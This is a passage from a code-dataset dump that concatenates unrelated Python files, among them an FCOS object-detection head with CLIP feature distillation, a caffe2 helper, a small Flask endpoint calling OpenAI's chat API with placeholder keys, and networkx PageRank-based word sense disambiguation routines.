now_feat[valid_idx]\n all_target_feat.append(selected_feat)\n all_target_feat = torch.cat(all_target_feat, dim=0)\n all_target_feat = all_target_feat / all_target_feat.norm(dim=-1, keepdim=True)\n # all_target_feat torch.Size([4232, 512])\n # print('all_target_feat', all_target_feat.shape)\n \n # TODO: following the centerness method, use the centerness target as the weight \n # use the matched_distill_bbox to calculate the weight following the way we calculate pos_centerness_targets\n distill_loss_value = self.distillation_loss(all_predict_feat, all_target_feat, weight=None)\n \n #### add distillation loss for negative sample ###\n if self.distill_negative:\n # select all negative sample\n all_predict_neg_feat = []\n for img_id in range(len(assigned_idx)):\n for feat_lvl in range(len(cls_feat)):\n now_idx = assigned_idx[img_id][feat_lvl]\n # select the grid which is not the BG grid\n valid_idx = (now_idx == -1)\n now_feat = cls_feat[feat_lvl][img_id]\n selected_feat = now_feat[valid_idx]\n all_predict_neg_feat.append(selected_feat)\n all_predict_neg_feat = torch.cat(all_predict_neg_feat, dim=0)\n \n all_predict_neg_feat_target = torch.zeros(all_predict_neg_feat.shape).cuda()\n distill_loss_neg_value = self.distillation_loss(all_predict_neg_feat, all_predict_neg_feat_target, weight=None)\n distill_loss_value += (distill_loss_neg_value*0.25)\n \n distill_loss_value *= (self.clip_dim * self.distill_loss_factor)\n\n if self.use_centerness and self.induced_centerness:\n return dict(\n loss_cls=loss_cls,\n loss_bbox=loss_bbox,\n loss_distillation=distill_loss_value,\n loss_centerness=loss_centerness)\n\n else:\n return dict(\n loss_cls=loss_cls,\n loss_bbox=loss_bbox,\n loss_distillation=distill_loss_value)\n\n\n @force_fp32(apply_to=('cls_scores', 'bbox_preds', 'cls_feat'))\n def get_bboxes(self,\n cls_scores,\n bbox_preds,\n centernesses,\n cls_feat,\n img_metas,\n cfg=None,\n rescale=False,\n with_nms=True):\n \"\"\"Transform network output for a batch into bbox predictions.\n\n Args:\n cls_scores (list[Tensor]): Box scores for each scale level\n with shape (N, num_points * num_classes, H, W).\n bbox_preds (list[Tensor]): Box energies / deltas for each scale\n level with shape (N, num_points * 4, H, W).\n img_metas (list[dict]): Meta information of each image, e.g.,\n image size, scaling factor, etc.\n cfg (mmcv.Config | None): Test / postprocessing configuration,\n if None, test_cfg would be used. Default: None.\n rescale (bool): If True, return boxes in original image space.\n Default: False.\n with_nms (bool): If True, do nms before return boxes.\n Default: True.\n\n Returns:\n list[tuple[Tensor, Tensor]]: Each item in result_list is 2-tuple.\n The first item is an (n, 5) tensor, where 5 represent\n (tl_x, tl_y, br_x, br_y, score) and the score between 0 and 1.\n The shape of the second tensor in the tuple is (n,), and\n each element represents the class label of the corresponding\n box.\n \"\"\"\n assert len(cls_scores) == len(bbox_preds)\n assert (self.use_centerness and None not in centernesses) or (not self.use_centerness and None in centernesses)\n num_levels = len(cls_scores)\n\n featmap_sizes = [featmap.size()[-2:] for featmap in cls_scores]\n mlvl_points = self.get_points(featmap_sizes, bbox_preds[0].dtype,\n bbox_preds[0].device)\n\n cls_score_list = [cls_scores[i].detach() for i in range(num_levels)]\n bbox_pred_list = [bbox_preds[i].detach() for i in range(num_levels)]\n if self.use_centerness:\n centerness_pred_list = [\n centernesses[i].detach() for i in range(num_levels)\n ]\n else:\n centerness_pred_list = centernesses\n if torch.onnx.is_in_onnx_export():\n assert len(\n img_metas\n ) == 1, 'Only support one input image while in exporting to ONNX'\n img_shapes = img_metas[0]['img_shape_for_onnx']\n else:\n img_shapes = [\n img_metas[i]['img_shape']\n for i in range(cls_scores[0].shape[0])\n ]\n scale_factors = [\n img_metas[i]['scale_factor'] for i in range(cls_scores[0].shape[0])\n ]\n if not self.use_centerness or (self.use_centerness and not self.induced_centerness):\n result_list = self._get_bboxes_wocenterness(cls_score_list, bbox_pred_list, mlvl_points,\n img_shapes, scale_factors, cfg, rescale,\n with_nms)\n else:\n result_list = self._get_bboxes(cls_score_list, bbox_pred_list, \n centerness_pred_list, mlvl_points,\n img_shapes, scale_factors, cfg, rescale,\n with_nms)\n return result_list\n\n def _get_bboxes(self,\n cls_scores,\n bbox_preds,\n centernesses,\n mlvl_points,\n img_shapes,\n scale_factors,\n cfg,\n rescale=False,\n with_nms=True):\n \"\"\"Transform outputs for a single batch item into bbox predictions.\n\n Args:\n cls_scores (list[Tensor]): Box scores for a single scale level\n with shape (N, num_points * num_classes, H, W).\n bbox_preds (list[Tensor]): Box energies / deltas for a single scale\n level with shape (N, num_points * 4, H, W).\n centernesses (list[Tensor]): Centerness for a single scale level\n with shape (N, num_points, H, W).\n mlvl_points (list[Tensor]): Box reference for a single scale level\n with shape (num_total_points, 4).\n img_shapes (list[tuple[int]]): Shape of the input image,\n list[(height, width, 3)].\n scale_factors (list[ndarray]): Scale factor of the image arrange as\n (w_scale, h_scale, w_scale, h_scale).\n cfg (mmcv.Config | None): Test / postprocessing configuration,\n if None, test_cfg would be used.\n rescale (bool): If True, return boxes in original image space.\n Default: False.\n with_nms (bool): If True, do nms before return boxes.\n Default: True.\n\n Returns:\n tuple(Tensor):\n det_bboxes (Tensor): BBox predictions in shape (n, 5), where\n the first 4 columns are bounding box positions\n (tl_x, tl_y, br_x, br_y) and the 5-th column is a score\n between 0 and 1.\n det_labels (Tensor): A (n,) tensor where each item is the\n predicted class label of the corresponding box.\n \"\"\"\n cfg = self.test_cfg if cfg is None else cfg\n assert len(cls_scores) == len(bbox_preds) == len(mlvl_points)\n device = cls_scores[0].device\n batch_size = cls_scores[0].shape[0]\n # convert to tensor to keep tracing\n nms_pre_tensor = torch.tensor(\n cfg.get('nms_pre', -1), device=device, dtype=torch.long)\n mlvl_bboxes = []\n mlvl_scores = []\n mlvl_centerness = []\n for cls_score, bbox_pred, centerness, points in zip(\n cls_scores, bbox_preds, centernesses, mlvl_points):\n assert cls_score.size()[-2:] == bbox_pred.size()[-2:]\n scores = cls_score.permute(0, 2, 3, 1).reshape(\n batch_size, -1, self.cls_out_channels).sigmoid()\n centerness = centerness.permute(0, 2, 3,\n 1).reshape(batch_size,\n -1).sigmoid()\n\n bbox_pred = bbox_pred.permute(0, 2, 3,\n 1).reshape(batch_size, -1, 4)\n points = points.expand(batch_size, -1, 2)\n # Get top-k prediction\n from mmdet.core.export import get_k_for_topk\n nms_pre = get_k_for_topk(nms_pre_tensor, bbox_pred.shape[1])\n if nms_pre > 0:\n max_scores, _ = (scores * centerness[..., None]).max(-1)\n _, topk_inds = max_scores.topk(nms_pre)\n batch_inds = torch.arange(batch_size).view(\n -1, 1).expand_as(topk_inds).long()\n # Avoid onnx2tensorrt issue in https://github.com/NVIDIA/TensorRT/issues/1134 # noqa: E501\n if torch.onnx.is_in_onnx_export():\n transformed_inds = bbox_pred.shape[\n 1] * batch_inds + topk_inds\n points = points.reshape(-1,\n 2)[transformed_inds, :].reshape(\n batch_size, -1, 2)\n bbox_pred = bbox_pred.reshape(\n -1, 4)[transformed_inds, :].reshape(batch_size, -1, 4)\n scores = scores.reshape(\n -1, self.num_classes)[transformed_inds, :].reshape(\n batch_size, -1, self.num_classes)\n centerness = centerness.reshape(\n -1, 1)[transformed_inds].reshape(batch_size, -1)\n else:\n points = points[batch_inds, topk_inds, :]\n bbox_pred = bbox_pred[batch_inds, topk_inds, :]\n scores = scores[batch_inds, topk_inds, :]\n centerness = centerness[batch_inds, topk_inds]\n\n bboxes = distance2bbox(points, bbox_pred, max_shape=img_shapes)\n mlvl_bboxes.append(bboxes)\n mlvl_scores.append(scores)\n mlvl_centerness.append(centerness)\n\n batch_mlvl_bboxes = torch.cat(mlvl_bboxes, dim=1)\n if rescale:\n batch_mlvl_bboxes /= batch_mlvl_bboxes.new_tensor(\n scale_factors).unsqueeze(1)\n batch_mlvl_scores = torch.cat(mlvl_scores, dim=1)\n batch_mlvl_centerness = torch.cat(mlvl_centerness, dim=1)\n\n # Replace multiclass_nms with ONNX::NonMaxSuppression in deployment\n if torch.onnx.is_in_onnx_export() and with_nms:\n from mmdet.core.export import add_dummy_nms_for_onnx\n batch_mlvl_scores = batch_mlvl_scores * (\n batch_mlvl_centerness.unsqueeze(2))\n max_output_boxes_per_class = cfg.nms.get(\n 'max_output_boxes_per_class', 200)\n iou_threshold = cfg.nms.get('iou_threshold', 0.5)\n score_threshold = cfg.score_thr\n nms_pre = cfg.get('deploy_nms_pre', -1)\n return add_dummy_nms_for_onnx(batch_mlvl_bboxes, batch_mlvl_scores,\n max_output_boxes_per_class,\n iou_threshold, score_threshold,\n nms_pre, cfg.max_per_img)\n # remind that we set FG labels to [0, num_class-1] since mmdet v2.0\n # BG cat_id: num_class\n padding = batch_mlvl_scores.new_zeros(batch_size,\n batch_mlvl_scores.shape[1], 1)\n batch_mlvl_scores = torch.cat([batch_mlvl_scores, padding], dim=-1)\n\n if with_nms:\n det_results = []\n for (mlvl_bboxes, mlvl_scores,\n mlvl_centerness) in zip(batch_mlvl_bboxes, batch_mlvl_scores,\n batch_mlvl_centerness):\n det_bbox, det_label = multiclass_nms(\n mlvl_bboxes,\n mlvl_scores,\n cfg.score_thr,\n cfg.nms,\n cfg.max_per_img,\n score_factors=mlvl_centerness)\n det_results.append(tuple([det_bbox, det_label]))\n else:\n det_results = [\n tuple(mlvl_bs)\n for mlvl_bs in zip(batch_mlvl_bboxes, batch_mlvl_scores,\n batch_mlvl_centerness)\n ]\n return det_results\n\n def _get_bboxes_wocenterness(self,\n cls_scores,\n bbox_preds,\n mlvl_points,\n img_shapes,\n scale_factors,\n cfg,\n rescale=False,\n with_nms=True):\n \"\"\"Transform outputs for a single batch item into bbox predictions.\n\n Args:\n cls_scores (list[Tensor]): Box scores for a single scale level\n with shape (N, num_points * num_classes, H, W).\n bbox_preds (list[Tensor]): Box energies / deltas for a single scale\n level with shape (N, num_points * 4, H, W).\n centernesses (list[Tensor]): Centerness for a single scale level\n with shape (N, num_points, H, W). \n \n mlvl_points (list[Tensor]): Box reference for a single scale level\n with shape (num_total_points, 4).\n img_shapes (list[tuple[int]]): Shape of the input image,\n list[(height, width, 3)].\n scale_factors (list[ndarray]): Scale factor of the image arrange as\n (w_scale, h_scale, w_scale, h_scale).\n cfg (mmcv.Config | None): Test / postprocessing configuration,\n if None, test_cfg would be used.\n rescale (bool): If True, return boxes in original image space.\n Default: False.\n with_nms (bool): If True, do nms before return boxes.\n Default: True.\n\n Returns:\n tuple(Tensor):\n det_bboxes (Tensor): BBox predictions in shape (n, 5), where\n the first 4 columns are bounding box positions\n (tl_x, tl_y, br_x, br_y) and the 5-th column is a score\n between 0 and 1.\n det_labels (Tensor): A (n,) tensor where each item is the\n predicted class label of the corresponding box.\n \"\"\"\n cfg = self.test_cfg if cfg is None else cfg\n assert len(cls_scores) == len(bbox_preds) == len(mlvl_points)\n device = cls_scores[0].device\n batch_size = cls_scores[0].shape[0]\n # convert to tensor to keep tracing\n nms_pre_tensor = torch.tensor(\n cfg.get('nms_pre', -1), device=device, dtype=torch.long)\n mlvl_bboxes = []\n mlvl_scores = []\n for cls_score, bbox_pred, points in zip(\n cls_scores, bbox_preds, mlvl_points):\n assert cls_score.size()[-2:] == bbox_pred.size()[-2:]\n bbox_pred = bbox_pred.permute(0, 2, 3,\n 1).reshape(batch_size, -1, 4)\n \n scores = cls_score.permute(0, 2, 3, 1).reshape(\n batch_size, bbox_pred.shape[1], -1).sigmoid()\n\n points = points.expand(batch_size, -1, 2)\n if self.filter_base_cate != None:\n # add for filter the base categories\n bg_idx = self.num_classes\n ## the filtering procedure\n # BS > BGS and NS \n max_idx = torch.max(scores, dim=-1)[1]\n novel_bg_idx = (max_idx < bg_idx) \n # filter the bbox\n scores = scores[novel_bg_idx]\n # assuming that it's using the sigmoid loss and does not have the bg vector\n scores = scores[:, :bg_idx]\n points = points[novel_bg_idx]\n bbox_pred = bbox_pred[novel_bg_idx]\n \n # Get top-k prediction\n from mmdet.core.export import get_k_for_topk\n nms_pre = get_k_for_topk(nms_pre_tensor, bbox_pred.shape[1])\n if nms_pre > 0:\n max_scores, _ = scores.max(-1)\n _, topk_inds = max_scores.topk(nms_pre)\n batch_inds = torch.arange(batch_size).view(\n -1, 1).expand_as(topk_inds).long()\n # Avoid onnx2tensorrt issue in https://github.com/NVIDIA/TensorRT/issues/1134 # noqa: E501\n if torch.onnx.is_in_onnx_export():\n transformed_inds = bbox_pred.shape[\n 1] * batch_inds + topk_inds\n points = points.reshape(-1,\n 2)[transformed_inds, :].reshape(\n batch_size, -1, 2)\n bbox_pred = bbox_pred.reshape(\n -1, 4)[transformed_inds, :].reshape(batch_size, -1, 4)\n scores = scores.reshape(\n -1, self.num_classes)[transformed_inds, :].reshape(\n batch_size, -1, self.num_classes)\n else:\n points = points[batch_inds, topk_inds, :]\n bbox_pred = bbox_pred[batch_inds, topk_inds, :]\n scores = scores[batch_inds, topk_inds, :]\n\n bboxes = distance2bbox(points, bbox_pred, max_shape=img_shapes)\n mlvl_bboxes.append(bboxes)\n mlvl_scores.append(scores)\n\n batch_mlvl_bboxes = torch.cat(mlvl_bboxes, dim=1)\n if rescale:\n batch_mlvl_bboxes /= batch_mlvl_bboxes.new_tensor(\n scale_factors).unsqueeze(1)\n batch_mlvl_scores = torch.cat(mlvl_scores, dim=1)\n\n # Replace multiclass_nms with ONNX::NonMaxSuppression in deployment\n if torch.onnx.is_in_onnx_export() and with_nms:\n from mmdet.core.export import add_dummy_nms_for_onnx\n max_output_boxes_per_class = cfg.nms.get(\n 'max_output_boxes_per_class', 200)\n iou_threshold = cfg.nms.get('iou_threshold', 0.5)\n score_threshold = cfg.score_thr\n nms_pre = cfg.get('deploy_nms_pre', -1)\n return add_dummy_nms_for_onnx(batch_mlvl_bboxes, batch_mlvl_scores,\n max_output_boxes_per_class,\n iou_threshold, score_threshold,\n nms_pre, cfg.max_per_img)\n # remind that we set FG labels to [0, num_class-1] since mmdet v2.0\n # BG cat_id: num_class\n padding = batch_mlvl_scores.new_zeros(batch_size,\n batch_mlvl_scores.shape[1], 1)\n batch_mlvl_scores = torch.cat([batch_mlvl_scores, padding], dim=-1)\n\n if with_nms:\n det_results = []\n for (mlvl_bboxes, mlvl_scores) in zip(batch_mlvl_bboxes, batch_mlvl_scores):\n det_bbox, det_label = multiclass_nms(\n mlvl_bboxes,\n mlvl_scores,\n cfg.score_thr,\n cfg.nms,\n cfg.max_per_img)\n det_results.append(tuple([det_bbox, det_label]))\n else:\n det_results = [\n tuple(mlvl_bs)\n for mlvl_bs in zip(batch_mlvl_bboxes, batch_mlvl_scores)\n ]\n return det_results\n\n def _get_points_single(self,\n featmap_size,\n stride,\n dtype,\n device,\n flatten=False):\n \"\"\"Get points according to feature map sizes.\"\"\"\n y, x = super()._get_points_single(featmap_size, stride, dtype, device)\n points = torch.stack((x.reshape(-1) * stride, y.reshape(-1) * stride),\n dim=-1) + stride // 2\n return points\n\n def get_targets(self, points, gt_bboxes_list, gt_labels_list):\n \"\"\"Compute regression, classification and centerness targets for points\n in multiple images.\n\n Args:\n points (list[Tensor]): Points of each fpn level, each has shape\n (num_points, 2).\n gt_bboxes_list (list[Tensor]): Ground truth bboxes of each image,\n each has shape (num_gt, 4).\n gt_labels_list (list[Tensor]): Ground truth labels of each box,\n each has shape (num_gt,).\n\n Returns:\n tuple:\n concat_lvl_labels (list[Tensor]): Labels of each level. \\\n concat_lvl_bbox_targets (list[Tensor]): BBox targets of each \\\n level.\n concat_lvl_labels 5 [torch.Size([29600]), torch.Size([7400]), torch.Size([1850]), torch.Size([494]), torch.Size([140])] \n concat_lvl_bbox_targets 5 [torch.Size([29600, 4]), torch.Size([7400, 4]), torch.Size([1850, 4]), torch.Size([494, 4]), torch.Size([140, 4])]\n \"\"\"\n assert len(points) == len(self.regress_ranges)\n num_levels = len(points)\n # expand regress ranges to align with points\n expanded_regress_ranges = [\n points[i].new_tensor(self.regress_ranges[i])[None].expand_as(\n points[i]) for i in range(num_levels)\n ]\n # concat all levels points and regress ranges\n concat_regress_ranges = torch.cat(expanded_regress_ranges, dim=0)\n concat_points = torch.cat(points, dim=0)\n\n # the number of points per img, per lvl\n num_points = [center.size(0) for center in points]\n\n # get labels and bbox_targets of each image\n labels_list, bbox_targets_list, target_idx_list = multi_apply(\n self._get_target_single,\n gt_bboxes_list,\n gt_labels_list,\n points=concat_points,\n regress_ranges=concat_regress_ranges,\n num_points_per_lvl=num_points)\n\n # split to per img, per level\n labels_list = [labels.split(num_points, 0) for labels in labels_list]\n bbox_targets_list = [\n bbox_targets.split(num_points, 0)\n for bbox_targets in bbox_targets_list\n ]\n target_idx_list = [\n target_idx.split(num_points, 0)\n for target_idx in target_idx_list\n ]\n\n # concat per level image\n concat_lvl_labels = []\n concat_lvl_bbox_targets = []\n for i in range(num_levels):\n concat_lvl_labels.append(\n torch.cat([labels[i] for labels in labels_list]))\n bbox_targets = torch.cat(\n [bbox_targets[i] for bbox_targets in bbox_targets_list])\n if self.norm_on_bbox:\n bbox_targets = bbox_targets / self.strides[i]\n concat_lvl_bbox_targets.append(bbox_targets)\n return concat_lvl_labels, concat_lvl_bbox_targets, target_idx_list\n\n def _get_target_single(self, gt_bboxes, gt_labels, points, regress_ranges,\n num_points_per_lvl):\n \"\"\"Compute regression and classification targets for a single image.\"\"\"\n \n #### the main logic is to see whether a point is in any once of the gt bbox\n #### by looking at whether the left side of the point (xs - gt_bboxes[..., 0])\n #### the right side of the point gt_bboxes[..., 2] - xs\n #### the top side of the point ys - gt_bboxes[..., 1]\n #### the bottom side of the point gt_bboxes[..., 3] - ys\n #### if all the above value are larger than 0 means the point is in one of the gt bboxes\n num_points = points.size(0)\n num_gts = gt_labels.size(0)\n \n # need to be modified for distillation\n if num_gts == 0:\n return gt_labels.new_full((num_points,), self.num_classes), \\\n gt_bboxes.new_zeros((num_points, 4))\n # keep the area of each gt bbox the shape is torch.Size([204])\n areas = (gt_bboxes[:, 2] - gt_bboxes[:, 0]) * (\n gt_bboxes[:, 3] - gt_bboxes[:, 1])\n # TODO: figure out why these two are different\n # areas = areas[None].expand(num_points, num_gts)\n # repeat areas with the number of the point torch.Size([20267, 204])\n areas = areas[None].repeat(num_points, 1)\n regress_ranges = regress_ranges[:, None, :].expand(\n num_points, num_gts, 2)\n gt_bboxes = gt_bboxes[None].expand(num_points, num_gts, 4)\n xs, ys = points[:, 0], points[:, 1]\n xs = xs[:, None].expand(num_points, num_gts)\n ys = ys[:, None].expand(num_points, num_gts)\n\n left = xs - gt_bboxes[..., 0]\n right = gt_bboxes[..., 2] - xs\n top = ys - gt_bboxes[..., 1]\n bottom = gt_bboxes[..., 3] - ys\n \n # bbox_targets torch.Size([20267, 3, 4]) [point_num, gt_num, 4]\n # this is the relationship between the points and gt bboxes, to see whether a point is in the gt bboxes\n bbox_targets = torch.stack((left, top, right, bottom), -1)\n\n if self.center_sampling:\n # condition1: inside a `center bbox`\n radius = self.center_sample_radius\n center_xs = (gt_bboxes[..., 0] + gt_bboxes[..., 2]) / 2\n center_ys = (gt_bboxes[..., 1] + gt_bboxes[..., 3]) / 2\n center_gts = torch.zeros_like(gt_bboxes)\n stride = center_xs.new_zeros(center_xs.shape)\n\n # project the points on current lvl back to the `original` sizes\n lvl_begin = 0\n for lvl_idx, num_points_lvl in enumerate(num_points_per_lvl):\n lvl_end = lvl_begin + num_points_lvl\n stride[lvl_begin:lvl_end] = self.strides[lvl_idx] * radius\n lvl_begin = lvl_end\n\n x_mins = center_xs - stride\n y_mins = center_ys - stride\n x_maxs = center_xs + stride\n y_maxs = center_ys + stride\n center_gts[..., 0] = torch.where(x_mins > gt_bboxes[..., 0],\n x_mins, gt_bboxes[..., 0])\n center_gts[..., 1] = torch.where(y_mins > gt_bboxes[..., 1],\n y_mins, gt_bboxes[..., 1])\n center_gts[..., 2] = torch.where(x_maxs > gt_bboxes[..., 2],\n gt_bboxes[..., 2], x_maxs)\n center_gts[..., 3] = torch.where(y_maxs > gt_bboxes[..., 3],\n gt_bboxes[..., 3], y_maxs)\n\n cb_dist_left = xs - center_gts[..., 0]\n cb_dist_right = center_gts[..., 2] - xs\n cb_dist_top = ys - center_gts[..., 1]\n cb_dist_bottom = center_gts[..., 3] - ys\n center_bbox = torch.stack(\n (cb_dist_left, cb_dist_top, cb_dist_right, cb_dist_bottom), -1)\n inside_gt_bbox_mask = center_bbox.min(-1)[0] > 0\n else:\n # condition1: inside a gt bbox\n inside_gt_bbox_mask = bbox_targets.min(-1)[0] > 0\n\n # condition2: limit the regression range for each location\n max_regress_distance = bbox_targets.max(-1)[0]\n inside_regress_range = (\n (max_regress_distance >= regress_ranges[..., 0])\n & (max_regress_distance <= regress_ranges[..., 1]))\n\n # if there are still more than one objects for a location,\n # we choose the one with minimal area\n areas[inside_gt_bbox_mask == 0] = INF\n areas[inside_regress_range == 0] = INF\n min_area, min_area_inds = areas.min(dim=1)\n\n labels = gt_labels[min_area_inds]\n labels[min_area == INF] = self.num_classes # set as BG\n bbox_targets = bbox_targets[range(num_points), min_area_inds]\n \n # also need the assigned idx for each grid\n target_idx = min_area_inds\n target_idx[min_area == INF] = -1\n\n return labels, bbox_targets, target_idx\n\n def centerness_target(self, pos_bbox_targets):\n \"\"\"Compute centerness targets.\n\n Args:\n pos_bbox_targets (Tensor): BBox targets of positive bboxes in shape\n (num_pos, 4)\n\n Returns:\n Tensor: Centerness target.\n \"\"\"\n # only calculate pos centerness targets, otherwise there may be nan\n left_right = pos_bbox_targets[:, [0, 2]]\n top_bottom = pos_bbox_targets[:, [1, 3]]\n if len(left_right) == 0:\n centerness_targets = left_right[..., 0]\n else:\n centerness_targets = (\n left_right.min(dim=-1)[0] / left_right.max(dim=-1)[0]) * (\n top_bottom.min(dim=-1)[0] / top_bottom.max(dim=-1)[0])\n return torch.sqrt(centerness_targets)\n","repo_name":"dragonlzm/EZAD","sub_path":"mmdet/models/dense_heads/fcos_head_with_distillation.py","file_name":"fcos_head_with_distillation.py","file_ext":"py","file_size_in_byte":52814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14811583159","text":"\n\n\n\n\nfrom caffe2.python import timeout_guard\n\ndef fun_conclude_operator(self):\n # Ensure the program exists. This is to \"fix\" some unknown problems\n # causing the job sometimes get stuck.\n timeout_guard.EuthanizeIfNecessary(600.0)\n\n\ndef assembleAllOutputs(self):\n output = {}\n output['train_model'] = self.train_model\n output['test_model'] = self.test_model\n output['model'] = self.model_output\n output['metrics'] = self.metrics_output\n return output\n","repo_name":"pytorch/pytorch","sub_path":"caffe2/contrib/playground/output_generator.py","file_name":"output_generator.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"} +{"seq_id":"27584857077","text":"import openai\nfrom flask import Flask\nimport json\n\napp = Flask(__name__)\n@app.route('/api/get', methods=['GET'])\ndef get():\n openai.organization = \"YOUR-OPENAI_ORGANIZATION\"\n openai.api_key = \"YOUR_OPENAI_KEY\"\n response = openai.ChatCompletion.create(\n model=\"gpt-3.5-turbo\",\n messages=[\n {\"role\": \"system\", \"content\": \"Soy un asistente que brinda información\"},\n {\"role\": \"user\", \"content\": \"Hola, que información brindas\"}\n ]\n )\n return response.choices[0]\n \n\nif __name__ == '__main__':\n app.run()\n","repo_name":"giovannyRios/scriptsPython","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72160385832","text":"import networkx as nx\nimport tqdm\nimport os\nfrom collections import defaultdict\nimport numpy as np\nfrom codice.disambiguate import utils\nimport copy\n\n\ndef createGraph(semantic_relationships, graph_file=None, edges_weight=None):\n '''\n Build the supervised graph G=(V, E) using networkx library, where V is the set of synsets and E the set of semantic\n correlation between synsets (vertexes)\n :param semantic_relationships: the relationship from which build the graph\n :param graph_file: where to save the file (to avoid creating the graph each time)\n :return: return the graph\n '''\n\n if graph_file is not None and os.path.isfile(graph_file):\n return nx.read_multiline_adjlist(graph_file)\n\n G = nx.Graph()\n\n keys = list(semantic_relationships.keys())\n\n for lemma in tqdm.tqdm(semantic_relationships.keys()):\n G.add_node(lemma)\n for relationship, nodes in semantic_relationships[lemma].items():\n for node in nodes:\n if node in keys:\n G.add_edge(lemma, node, v = relationship, weight=1.0)\n\n if edges_weight is not None:\n G.add_weighted_edges_from(edges_weight)\n\n if graph_file is not None:\n nx.write_multiline_adjlist(G,graph_file)\n\n return G\n\n\ndef extendGraph(G, synsets_ditionary, document_graph=False):\n \"\"\"\n Extend the graph with new synsets\n :param G: the graph to extend\n :param synsets_ditionary: the dictionary used to extend the graph\n :param document_graph: if the graph is a document ones\n :return: return a copy of G extended using relations in synsets_ditionary\n \"\"\"\n TG = G.copy()\n\n for k, v in synsets_ditionary.items():\n if document_graph:\n TG.add_node(k)\n TG.add_nodes_from(list(v.keys()))\n\n for k, v in synsets_ditionary.items():\n for vertex, relationship in v.items():\n if len(relationship) == 0:\n continue\n if document_graph:\n TG.add_edge(k, vertex)\n\n for _, synsets in relationship.items():\n for s in synsets:\n if TG.has_node(s):\n TG.add_edge(vertex, s, weight=1.0)\n if document_graph:\n TG.add_edge(s, vertex)\n TG.add_edge(k, vertex)\n return TG\n\n\ndef getWeightCoOc(corpus, synsets_file, win_size=10):\n '''\n Given a corpus of text the function build and return new edges weighted using co-occurrence matrix\n :param corpus: the corpus of text\n :param synsets_file: the file from which get the synset associated to the corpus\n :param win_size: the size to caculate co occurrence value\n :return: a list of triple [(V1, V2, w),...] where W = coOcMatrix[V1][V2]\n '''\n\n _, synsets = utils.getSynsetsDictionary(synsets_file)\n mapping = {}\n\n for s in synsets:\n mapping.update({s: len(mapping)})\n\n inverse_mapping = {v: k for k, v in mapping.items()}\n\n matrix = np.zeros((len(mapping), len(mapping)))\n\n for d, sentence in corpus.items():\n eval = False\n if 'senseval' or 'semeval' in d:\n eval = True\n print(d)\n _, synsets = utils.getDocumentsLemmas(sentence, eval=eval)\n for i in range(len(synsets)):\n to_iter = np.arange(max(0, i - win_size), min(len(synsets), i + win_size + 1 ))\n for j in to_iter:\n if j == i:\n continue\n matrix[mapping[synsets[i]]][mapping[synsets[j]]] += 1\n\n edges = list()\n\n for i in range(len(mapping)):\n for j in range(i+1, len(mapping)):\n v = matrix[i][j]\n if v == 0:\n continue\n edges.append(\n (inverse_mapping[i], inverse_mapping[j], v)\n )\n\n return edges\n\n\ndef documentPagerankPrediction(G, dataset, synsets_dictionary):\n\n predicted = []\n\n for d in dataset:\n pre = []\n\n near = set()\n to_add = {}\n\n for l in d:\n near.update(synsets_dictionary[l].keys())\n to_add.update({l: synsets_dictionary[l]})\n\n TG = extendGraph(G, to_add, document_graph=False)\n pr = nx.pagerank_scipy(TG, personalization={n: 1 for n in near})\n\n for l in d:\n max_prob = 0\n best_syn = 0\n for synsets in synsets_dictionary[l].keys():\n rank = pr[synsets]\n if rank > max_prob:\n max_prob = rank\n best_syn = synsets\n\n if best_syn == 0:\n best_syn = np.random.choice(list(near))\n\n assert (best_syn != 0)\n pre.append(best_syn)\n\n predicted.append(pre)\n\n return predicted\n\n\ndef staticPagerankPrediction(G, dataset, synsets_dictionary, pagerank_algo='mass'):\n TG = extendGraph(G, synsets_dictionary)\n\n if pagerank_algo == 'mass':\n dizionario = {}\n for _, vertex in synsets_dictionary.items():\n dizionario.update({k: 1 for k in vertex.keys()})\n pr = nx.pagerank_scipy(TG, personalization=dizionario)\n else:\n pr = nx.pagerank_scipy(TG)\n\n predicted = []\n\n for d in dataset:\n pre = []\n\n for l in d:\n max_prob = 0\n best_syn = 0\n for synsets in synsets_dictionary[l].keys():\n rank = pr[synsets]\n if rank > max_prob:\n max_prob = rank\n best_syn = synsets\n\n if best_syn == 0:\n near = []\n for l in d:\n near.extend(synsets_dictionary[l].keys())\n best_syn = np.random.choice(list(near))\n\n assert (best_syn != 0)\n pre.append(best_syn)\n\n predicted.append(pre)\n\n return predicted\n\ndef graphPathsPrediction(G, test_set, test_synsets_ditionary, cut=6):\n\n results = dict()\n for eval_set_name in test_set.keys():\n pre = []\n all = []\n\n for sentence in test_set[eval_set_name].values():\n lemmas, synsets = utils.getDocumentsLemmas(sentence, True)\n\n words_path = {}\n used_path = defaultdict(int)\n\n ln_lemmas = len(lemmas)\n\n to_add = {}\n diz = {}\n\n for l in lemmas:\n to_add.update({l: test_synsets_ditionary[l]})\n diz.update({s: 1 for s in test_synsets_ditionary[l].keys()})\n TG = extendGraph(G, to_add, document_graph=False)\n\n ln_saved = ln_lemmas*(2.0/3.0)\n\n for i in tqdm.tqdm(range(ln_lemmas)):\n\n curr_lemma = lemmas[i]\n all.append(synsets[i])\n dicz = copy.deepcopy(diz)\n\n nodes = set()\n\n for s in test_synsets_ditionary[curr_lemma].keys():\n dicz.update({s: 0})\n if s not in words_path:\n\n if len(words_path) >= ln_saved:\n\n less_used = min(used_path, key=used_path.get)\n words_path.pop(less_used)\n used_path.pop(less_used)\n\n words_path[s] = nx.single_source_dijkstra_path(TG, s, cutoff=cut).keys()\n used_path[s] += 1\n\n nodes.update(words_path[s])\n\n sub_TG = TG.subgraph(nodes)\n\n sum = 0\n for s in dicz.values():\n sum += s\n\n best_syn = 0\n try: \n if sum == 0:\n probs = nx.pagerank_scipy(sub_TG, max_iter=200)\n else:\n probs = nx.pagerank_scipy(sub_TG, max_iter=200, personalization=dicz)\n\n max_prob = -1\n for n in test_synsets_ditionary[curr_lemma].keys():\n rank = probs[n]\n if rank > max_prob:\n max_prob = rank\n best_syn = n\n\n assert (best_syn != 0)\n except nx.exception.PowerIterationFailedConvergence:\n best_syn = list(test_synsets_ditionary[curr_lemma].keys())[0]\n pre.append(best_syn)\n\n\n return 